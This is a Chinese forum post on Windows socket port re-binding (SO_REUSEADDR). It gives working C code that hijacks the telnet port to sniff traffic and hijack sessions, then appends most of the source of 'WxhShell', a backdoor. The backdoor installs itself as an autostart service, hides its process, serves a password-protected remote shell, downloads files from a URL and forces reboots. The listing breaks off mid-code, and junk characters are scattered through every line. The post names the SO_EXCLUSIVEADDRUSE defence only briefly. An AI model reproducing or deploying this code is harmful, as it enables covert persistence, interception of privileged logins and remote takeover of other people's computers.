社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17162阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S. |FL%;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =IKEb#R/  
\ /|)HElKR  
  saddr.sin_family = AF_INET; *U l*%!?D  
19q{6X`x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MEiRj]t  
|3? 8)z\n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,DnYtIERo  
mceG!@t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1t9.fEmT  
l|V;Ys5f  
  这意味着什么?意味着可以进行如下的攻击: FP"$tt(  
c6Q(Ygc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ejq#~Zhr!  
kVS?RHR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ov82ibp_1  
#2xSyOrmf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iGXBqUQ:  
~]L}p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j*;N\;iL!*  
sn{AwF%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !8tS|C#2  
vf~`eT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u2(eaP8d  
W}'WA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?nKF6 f  
tK%c@gGU9  
  #include <EO<x D=:  
  #include ~2_lp^Y  
  #include $A<ESfrs  
  #include    AK u_~bTk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )fU(AXSP  
  int main() kD.pzx EM  
  { v$w++3H  
  WORD wVersionRequested; eUO9 a~<  
  DWORD ret; Z%gx%$  
  WSADATA wsaData; >P. 'CU  
  BOOL val; f0Hq8qAF;^  
  SOCKADDR_IN saddr; y:}sD_m0W  
  SOCKADDR_IN scaddr; {fSf q&o  
  int err; 1q.(69M  
  SOCKET s; p D=w >"  
  SOCKET sc; tu%[p 4   
  int caddsize; ]qw0V   
  HANDLE mt; bZipm(e  
  DWORD tid;   ")lw9t`  
  wVersionRequested = MAKEWORD( 2, 2 ); .+K S`  
  err = WSAStartup( wVersionRequested, &wsaData ); B>TSdn={>  
  if ( err != 0 ) { D!TZI  
  printf("error!WSAStartup failed!\n"); l*7?Y7FK  
  return -1; +'03>!V  
  } J7i+c];!<  
  saddr.sin_family = AF_INET; g.Hio.fVd  
   :wgfW .w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -g`IH-B  
J^3H7 ]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vH?9\3  
  saddr.sin_port = htons(23); CP` XUpX`&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (xyS7q]m  
  { 8TZENRzx-|  
  printf("error!socket failed!\n"); Lu>H`B7Q"  
  return -1; nwM)K  
  } h ; kfh.  
  val = TRUE; hRTMFgO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b7h+?!H]R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )fh0&Y; R  
  { et$uP  
  printf("error!setsockopt failed!\n"); qSiWnN8D t  
  return -1; H}b\`N[nr  
  } -fIc4u[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w}<^l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NW.XA! =E)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CB*/ =Y  
hG Apuy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M$&>5n7  
  { #s+X+fe  
  ret=GetLastError(); N\R=cwk  
  printf("error!bind failed!\n"); Rrqg[F+  
  return -1; kR6A3?[  
  } F!8=FTb  
  listen(s,2); ^ @.G,u  
  while(1) Gq]d:-7l  
  { ]h~o],:  
  caddsize = sizeof(scaddr); D[>W{g $  
  //接受连接请求 ^9ng)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2@MN]Low  
  if(sc!=INVALID_SOCKET) 7U:=~7GH  
  { 6[==BbZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,d 7Z  
  if(mt==NULL) +8^_D?*\n  
  { ^g!B.ll`  
  printf("Thread Creat Failed!\n"); vg^Myn   
  break; O{n<WQd{CY  
  } 5N1 K~".  
  } =s[ &;B`s  
  CloseHandle(mt); Gc;B[/:  
  } 9e5gy  
  closesocket(s); $A?}a  
  WSACleanup(); AMk~dzNt  
  return 0; KU2$5[~j  
  }   fI11dE9&?[  
  DWORD WINAPI ClientThread(LPVOID lpParam) $!`L"szqD*  
  { 5G? .T?  
  SOCKET ss = (SOCKET)lpParam; W/v|8-gcK  
  SOCKET sc; `s}BXKIv}  
  unsigned char buf[4096]; "T*I|  
  SOCKADDR_IN saddr; F!~l MpuE  
  long num; )vHi|~(   
  DWORD val; V} bM!5 H  
  DWORD ret; R=35 7^[R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %N{sD[^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QGPR.<D)B  
  saddr.sin_family = AF_INET; !0dX@V'r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @)z*BmP  
  saddr.sin_port = htons(23); ;E's4jWq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _0]QS4a][c  
  { uL>:tb  
  printf("error!socket failed!\n"); eycV@|6u*  
  return -1; rv?!y8\  
  } 2nx9#B*/T  
  val = 100; vPsq<l}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ^Fp=y,D  
  { #{w5)|S#JD  
  ret = GetLastError(); g8Aj `O  
  return -1; D-iUN  
  } MOLO3?H(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5&qY3@I7l  
  { #PH#2/[  
  ret = GetLastError(); ]BfR.,,  
  return -1; T?e9eYwS  
  } k5s?lWH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nu+wL>t  
  { qT 0_L  
  printf("error!socket connect failed!\n"); YZ*{^'  
  closesocket(sc); qvTJ>FILT  
  closesocket(ss); lWlUWhLnP  
  return -1; 5Jw"{V?Ak  
  } h60\ Y 8  
  while(1) R .UumBM  
  { k.{G&]r{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M8Juykw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gA:[3J,[;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CK Mv7  
  num = recv(ss,buf,4096,0); Z^+a*^w~{  
  if(num>0) D1! {S7  
  send(sc,buf,num,0); 1t%<5O;R  
  else if(num==0) P#F_>GB  
  break; q]+)c2M  
  num = recv(sc,buf,4096,0); i;avwP<0  
  if(num>0) S[.5n]  
  send(ss,buf,num,0); TnxU/)  
  else if(num==0) 9C>ynH  
  break; _r7=&oL.Q  
  } <THUsY`3P&  
  closesocket(ss); <>&89E%j'  
  closesocket(sc); NlMQHma  
  return 0 ; +/}_%Cf8  
  } &*ZC0V3  
uc\.oG;~q  
`%%?zgY  
========================================================== -sx-7LKi  
QglYU  
下边附上一个代码,,WXhSHELL ?d#Lr*m  
!4L#$VG  
========================================================== ?.~]mvOR  
bWUS9WT  
#include "stdafx.h" sxt`0oE  
R;.d/U|av  
#include <stdio.h> 9g4QVo|  
#include <string.h> ;h~?ko  
#include <windows.h> LEA;dSf  
#include <winsock2.h> &E`9>&~J  
#include <winsvc.h> GP Ix@k  
#include <urlmon.h> ?{n>EvLY  
wYa0hNd  
#pragma comment (lib, "Ws2_32.lib") QWKs[yfdo  
#pragma comment (lib, "urlmon.lib") )I?RMR  
y 'mlee  
#define MAX_USER   100 // 最大客户端连接数 #,)P N @P  
#define BUF_SOCK   200 // sock buffer 3^'#ny?l  
#define KEY_BUFF   255 // 输入 buffer GU5W|bS  
*|sxa#  
#define REBOOT     0   // 重启 ujow?$&  
#define SHUTDOWN   1   // 关机 9ec0^T  
E+:.IuXW$  
#define DEF_PORT   5000 // 监听端口 G~O" /WM  
_,t&C7Yf;  
#define REG_LEN     16   // 注册表键长度 ,v|CombIc.  
#define SVC_LEN     80   // NT服务名长度 v)%[  
/5jKX 5r  
// 从dll定义API N*HH,m&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vs+ We*8H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8~}s 3j4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d RHlx QUn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S\}?zlV  
2(hvv-  
// wxhshell配置信息 pEY>A_F  
struct WSCFG { Q;=6ag'  
  int ws_port;         // 监听端口 *ZX!EjICk  
  char ws_passstr[REG_LEN]; // 口令 OA!R5sOz"  
  int ws_autoins;       // 安装标记, 1=yes 0=no vP-3j  
  char ws_regname[REG_LEN]; // 注册表键名 VPdwSW[eM  
  char ws_svcname[REG_LEN]; // 服务名 @pTD{OW?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SHytyd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q +R3H,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *O!T!J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B<(Pd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" omNpE_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >7"$}5d  
keqr%:E8  
}; 7&=-a|k~  
p| Vmdnb  
// default Wxhshell configuration ;HR 6X  
struct WSCFG wscfg={DEF_PORT, VjC*(6<Gj  
    "xuhuanlingzhe", te4F"SEf  
    1, /A0 [_  
    "Wxhshell", h=!M6yap<  
    "Wxhshell", : x>I- 3G  
            "WxhShell Service", Ng?apaIi@~  
    "Wrsky Windows CmdShell Service", u,:CJ[3  
    "Please Input Your Password: ", j l}!T[5  
  1, Fecx';_1`  
  "http://www.wrsky.com/wxhshell.exe", mx:J>SPA8  
  "Wxhshell.exe" 8e]z6:}'E  
    }; 0Z@ARMCe|m  
(s5<  
// 消息定义模块 @X3 gBGY)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2f`WDL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @][ a8:Y9I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "xL;(Fqu  
char *msg_ws_ext="\n\rExit."; f37ji  
char *msg_ws_end="\n\rQuit."; 20$F$YYuk  
char *msg_ws_boot="\n\rReboot..."; c*Eok?O  
char *msg_ws_poff="\n\rShutdown..."; @47[vhE  
char *msg_ws_down="\n\rSave to "; )>-77\  
N>Vacc_[  
char *msg_ws_err="\n\rErr!"; P'-JbPXU  
char *msg_ws_ok="\n\rOK!"; 9Q,Msl4n  
^fFtI?.6jI  
char ExeFile[MAX_PATH]; s"pR+)jf1D  
int nUser = 0; 3Ne9% "  
HANDLE handles[MAX_USER]; i7i|370  
int OsIsNt; #;wkr))  
Uzan7A  
SERVICE_STATUS       serviceStatus; -3C* P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; muL>g_H  
LvSP #$f  
// 函数声明 aQl?d<|+lk  
int Install(void); MZ;"J82p  
int Uninstall(void); ,Wz[tYL*  
int DownloadFile(char *sURL, SOCKET wsh); 6U;Jg_zS  
int Boot(int flag); 9@$tiDV  
void HideProc(void); *p""YEN  
int GetOsVer(void); `G_(xN7O  
int Wxhshell(SOCKET wsl); Es.toOH$S  
void TalkWithClient(void *cs); 73'U#@g6  
int CmdShell(SOCKET sock);  R4&|t  
int StartFromService(void); l81&[  
int StartWxhshell(LPSTR lpCmdLine); ,[Dh2fPM,  
S4#A#a2J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E}xz7u   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3I'M6WA  
l9M#]*{  
// 数据结构和表定义 f28gE7Y\a  
SERVICE_TABLE_ENTRY DispatchTable[] = f?/|;Zo4  
{ [z W_%O kP  
{wscfg.ws_svcname, NTServiceMain}, n@G:e-m{A  
{NULL, NULL} \e`6=Q%  
}; Rel(bA-[N  
LFk5rv'sM0  
// 自我安装 hEyX~f  
int Install(void) l-DGy#h+z  
{ ir9Q##f  
  char svExeFile[MAX_PATH]; pb=jvK  
  HKEY key; <Cf7E  
  strcpy(svExeFile,ExeFile); -_y~rx >  
t!J";l  
// 如果是win9x系统,修改注册表设为自启动 Uq9,(tV`6g  
if(!OsIsNt) { wQF&GGY R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <7vIh0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ",MK'\E  
  RegCloseKey(key);  aX>4Tw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?)A]q' O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E[SV*1)  
  RegCloseKey(key); 4@/q_*3o  
  return 0; H B::0l<  
    } sDzD 8as  
  } W _PM!>8`  
} _9}x2uO~  
else { m NUN6qVP~  
#U?EOm  
// 如果是NT以上系统,安装为系统服务 k7z(Gbzu   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lU&`r:1>_  
if (schSCManager!=0) "@c';".|  
{ gt2>nTJz.Z  
  SC_HANDLE schService = CreateService eEZ|nEU  
  ( K B`1%=  
  schSCManager, (&9DB   
  wscfg.ws_svcname, #U ",,*2  
  wscfg.ws_svcdisp, m~= ]^e  
  SERVICE_ALL_ACCESS, DuTlYXM2^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  2.HZ+1  
  SERVICE_AUTO_START, 'U|MM;(  
  SERVICE_ERROR_NORMAL, D{,[\^c  
  svExeFile, *@\?}cX  
  NULL, XPc9z}/(e  
  NULL, *tq|x[<  
  NULL, o*O "\/pmF  
  NULL, OH-~  
  NULL ~>Hnf_pZO  
  ); C }h<ldlY  
  if (schService!=0) # `N6<nb  
  { q5?rp|7D  
  CloseServiceHandle(schService); bWX[<rh'  
  CloseServiceHandle(schSCManager); k$UzBxR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mm>zpB`qP  
  strcat(svExeFile,wscfg.ws_svcname); 3/A[LL|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6k@%+<1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T!=20!I  
  RegCloseKey(key); I:uQB!  
  return 0; }\PE {  
    } 'gk81@|  
  } zJy 89ib'  
  CloseServiceHandle(schSCManager); h+zkVRyA  
} .J<qfQ  
} '?vgp  
T>%uRK$  
return 1; 0%A(dJA6  
} Qq;m"M/  
:oon}_MdRd  
// 自我卸载 }C`}wS3i  
int Uninstall(void) gJcXdv=]2  
{ {E3<GeHw4  
  HKEY key; {.' ,%)  
,<^tsCI  
if(!OsIsNt) { 4t%:O4 3e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t]u(jX)  
  RegDeleteValue(key,wscfg.ws_regname); 7tf81*e  
  RegCloseKey(key); 7(|3 OR+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bgzT3KZ  
  RegDeleteValue(key,wscfg.ws_regname); '1kj:Np  
  RegCloseKey(key); :N+#4rtgUY  
  return 0; 5KC\1pe i  
  } $8X tI  
} Dvq*XI5  
} gT5Ji~xI  
else { _ RT"1"r  
JucxhjV#,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !q=Q~ea  
if (schSCManager!=0) P$(iB.&  
{ [c KI0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u]]5p[ |S  
  if (schService!=0) [)J49  
  { Vlp*'2VO  
  if(DeleteService(schService)!=0) { [MQJ71(3  
  CloseServiceHandle(schService); [o[v"e\w  
  CloseServiceHandle(schSCManager); cmr6,3_  
  return 0; ok\/5oz  
  } oQ-|\?{;A  
  CloseServiceHandle(schService); hD6ur=G8u  
  } Jc"$p\ $-  
  CloseServiceHandle(schSCManager); 11@2;vw  
} LjH&f 4mY  
}  $D, wO  
[! dnm1   
return 1; R.2KYhp ,  
} FSYjp{z5  
@]ptY*   
// 从指定url下载文件 %<ptkZK#  
int DownloadFile(char *sURL, SOCKET wsh) Wf`Oye Rz  
{ LO$#DHPt  
  HRESULT hr; Q:fUM[  
char seps[]= "/"; YP\4XI  
char *token; Xb+if  
char *file; c&Su d, &  
char myURL[MAX_PATH]; D $CY:@  
char myFILE[MAX_PATH]; YCB 3  
wsb=[$C  
strcpy(myURL,sURL); [y=$2  
  token=strtok(myURL,seps); MMxoKL  
  while(token!=NULL) YnO1Lf@  
  { wJeqa  
    file=token; U+RCQTo  
  token=strtok(NULL,seps); R/Dy05nloe  
  } 9tc@   
Ei p~ ~2  
GetCurrentDirectory(MAX_PATH,myFILE); sNk>0 X[  
strcat(myFILE, "\\"); eFXi )tl  
strcat(myFILE, file); HDW\S#  
  send(wsh,myFILE,strlen(myFILE),0); 1:;&wf  
send(wsh,"...",3,0); LnRi+n[@7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A]SB c2   
  if(hr==S_OK) s!o<Pd yJK  
return 0; X$9D0;L  
else R SWB!-  
return 1; 48&KdbGX  
fssL'DD  
} 4KSP81}/\  
++{+ #s6  
// 系统电源模块 Kt* za  
int Boot(int flag) / =Uv  
{ "$:y03V  
  HANDLE hToken; /?dQUu ^z  
  TOKEN_PRIVILEGES tkp; RY/ Z~]  
A Fm*60C  
  if(OsIsNt) { $hE'b9qx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H;7H6fyZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c"sw@<HG  
    tkp.PrivilegeCount = 1; : .w'gU_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]kplb0`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4;c_%=cU  
if(flag==REBOOT) { S5pP"&I[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u, SX`6%  
  return 0; knK=ENf;e  
} \q`+  
else { k}0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {8bY7NH|  
  return 0; Bzy=@]`  
} OB  i!fLa  
  } TcKKI  
  else { @ H`QLm  
if(flag==REBOOT) { 2,e|,N"zN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |xgCV@  
  return 0; 8H`l"  
} j&G~;(DY  
else { W4rw;(\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (b 2^d  
  return 0; pu)9"Ad[ G  
} BK\~I  
} S~(VcC$K  
-JO46 #m  
return 1; o(SJuZC/U  
} Z-p^3t'{  
&$z1Hz+l  
// win9x进程隐藏模块 cp?P@-  
void HideProc(void) z?_}+  
{ 0_zSQn9c  
AA& dZjz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MLIQ 8=  
  if ( hKernel != NULL ) O>F.Wf5g  
  { eWk2YP!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zt?w n* _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o-CJdOS  
    FreeLibrary(hKernel); leYmV FE  
  } nT .2jk+  
'nDT.i  
return; I/-w65J]  
} CY).I`aJ  
r`g;k&"a  
// 获取操作系统版本 rMFZ#38d  
int GetOsVer(void) Y(yJ|y&  
{ i\z0{;f|GX  
  OSVERSIONINFO winfo; PaeafL65=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pk]9.e1_  
  GetVersionEx(&winfo); Ay6rUN1ef  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?# c@Ag %  
  return 1; 5'Ay@FJ:  
  else qlT:9*&g  
  return 0; fU~y481 A  
} S_-mmzC(  
^A<.s_  
// 客户端句柄模块 h=y(2xA  
int Wxhshell(SOCKET wsl) :Du{8rV  
{ u]-El}*[  
  SOCKET wsh; K~%5iVO~\  
  struct sockaddr_in client; 4_:e+ ql  
  DWORD myID; td$6:)  
xENA:j?kF  
  while(nUser<MAX_USER) 44{:UhJkx  
{ 3K:Xxkk  
  int nSize=sizeof(client); CKt~#$ I%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h?tV>x/Fu  
  if(wsh==INVALID_SOCKET) return 1; W",jZ"7  
>Ez}r(QQ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); daJ-H  
if(handles[nUser]==0) so&3A&4cL  
  closesocket(wsh); (qONeLf%  
else os ud  
  nUser++; i1&noRGl  
  }  D.x3@+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CMjPp`rA  
][qA@3^Tw  
  return 0; Ip\g ^ia  
} ;ypO'  
54_m{&hb  
// 关闭 socket *YOnX7*Km  
void CloseIt(SOCKET wsh) 8-6{MJ?F  
{ vKLG9ovlY  
closesocket(wsh); d }CMX$1  
nUser--; \/%Q PE8  
ExitThread(0); WW@"75t  
} N5]68Fu'({  
HY#("=9< h  
// 客户端请求句柄 8(K~QvE~  
void TalkWithClient(void *cs) ]@]"bF!Dn  
{ >'g60R[  
ATewdq[C  
  SOCKET wsh=(SOCKET)cs; m{Xf_rQ w  
  char pwd[SVC_LEN]; 5d;K.O  
  char cmd[KEY_BUFF]; 4[j) $!l`  
char chr[1]; g+{MvSj$  
int i,j; )p](*Z^  
?& ^l8gE  
  while (nUser < MAX_USER) { IN*Z__l8j`  
&1n0(qB  
if(wscfg.ws_passstr) { ?Ir6*ZyY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \srOU|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <"9Z7" >  
  //ZeroMemory(pwd,KEY_BUFF); P9~kN|  
      i=0; 3CL:VwoW  
  while(i<SVC_LEN) { !}m 8]&  
fP*C*4#X  
  // 设置超时 j+v)I=  
  fd_set FdRead; x6P^IkL:  
  struct timeval TimeOut; 2!`Z3>Oa  
  FD_ZERO(&FdRead); A[Xw|9  
  FD_SET(wsh,&FdRead); !LESRh?  
  TimeOut.tv_sec=8; ~$ Yuxo  
  TimeOut.tv_usec=0;  F<1'M#bl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ho9*y3]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~_6rD`2cJ  
y!Eh /KD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PSvRO% &  
  pwd=chr[0]; nI` 1@ vB&  
  if(chr[0]==0xd || chr[0]==0xa) { @72G*u\Wz  
  pwd=0; h<jIg$rA  
  break; <m\TZQBD  
  } v2SsfhT  
  i++; S+ x [1#r  
    } U_04QwhK7  
A]slssE+  
  // 如果是非法用户,关闭 socket N* QI>kzU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #`EMK   
} RAa1KOxZX  
-#hl& ^u$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d@~)Wlje  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #-8/|_*  
zoXF"Nz  
while(1) { 3?<vnpN=5d  
,s<d"]<  
  ZeroMemory(cmd,KEY_BUFF); #]a0 51Y  
q\G@Nn^  
      // 自动支持客户端 telnet标准   -rrg?4  
  j=0; gNBI?xs`p  
  while(j<KEY_BUFF) { EyiM`)!5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ZWKs  
  cmd[j]=chr[0]; /$Jh5Bv  
  if(chr[0]==0xa || chr[0]==0xd) { f:>jH+o.S  
  cmd[j]=0; D-/A>  
  break; 5 [*jfOz  
  } Ei!z? sxzx  
  j++; &'j77tqOk  
    } ;* Jd#O  
hy rJu{p  
  // 下载文件 pwQ."2x  
  if(strstr(cmd,"http://")) { v?t+%|dzA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0J B"@U&-  
  if(DownloadFile(cmd,wsh)) v\Gu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QUO?q+  
  else epePx0N%x$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }s9J+m  
  } 3H2'HO  
  else { _7VU ,  
2I5@zm ea  
    switch(cmd[0]) { $1F9TfA  
  #-O4x`W>  
  // 帮助 w\a#Bfcv  
  case '?': { xFh}%mwpt[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >U]. k8a)  
    break; qx NV~aK  
  } _,QUH"  
  // 安装 bzTM{<]sv  
  case 'i': { 2oRmro  
    if(Install()) ?6gI8K6X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HvU)GJ u b  
    else yCVBG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :nn'>  
    break; Uk#1PcPd  
    } `3Y+:!q  
  // 卸载 >3/<goXk7  
  case 'r': { nDfDpP&  
    if(Uninstall()) ?M);wBe(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -b<+Ra  
    else 1{qg@xlj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dcsd//E  
    break; 3FfS+q*3S  
    } p_( NLJ%  
  // 显示 wxhshell 所在路径  lwlR"Z  
  case 'p': { Wh7nli7f_  
    char svExeFile[MAX_PATH]; 7Udr~ 0_)  
    strcpy(svExeFile,"\n\r"); g|Cnj  
      strcat(svExeFile,ExeFile); y[# U/2  
        send(wsh,svExeFile,strlen(svExeFile),0); Z~ (QV0}  
    break; c s> W6  
    } nN: i{t4f  
  // 重启 Gbhaibk O  
  case 'b': { kBkhuKd)V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); += QboUN  
    if(Boot(REBOOT)) u&:jQ:[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c|XnPqo;f  
    else { E6uIp^E  
    closesocket(wsh); .#SWfAb2h  
    ExitThread(0); x$t=6@<]  
    } o5d)v)Rx=  
    break; pE#0949  
    } & |r)pl0$  
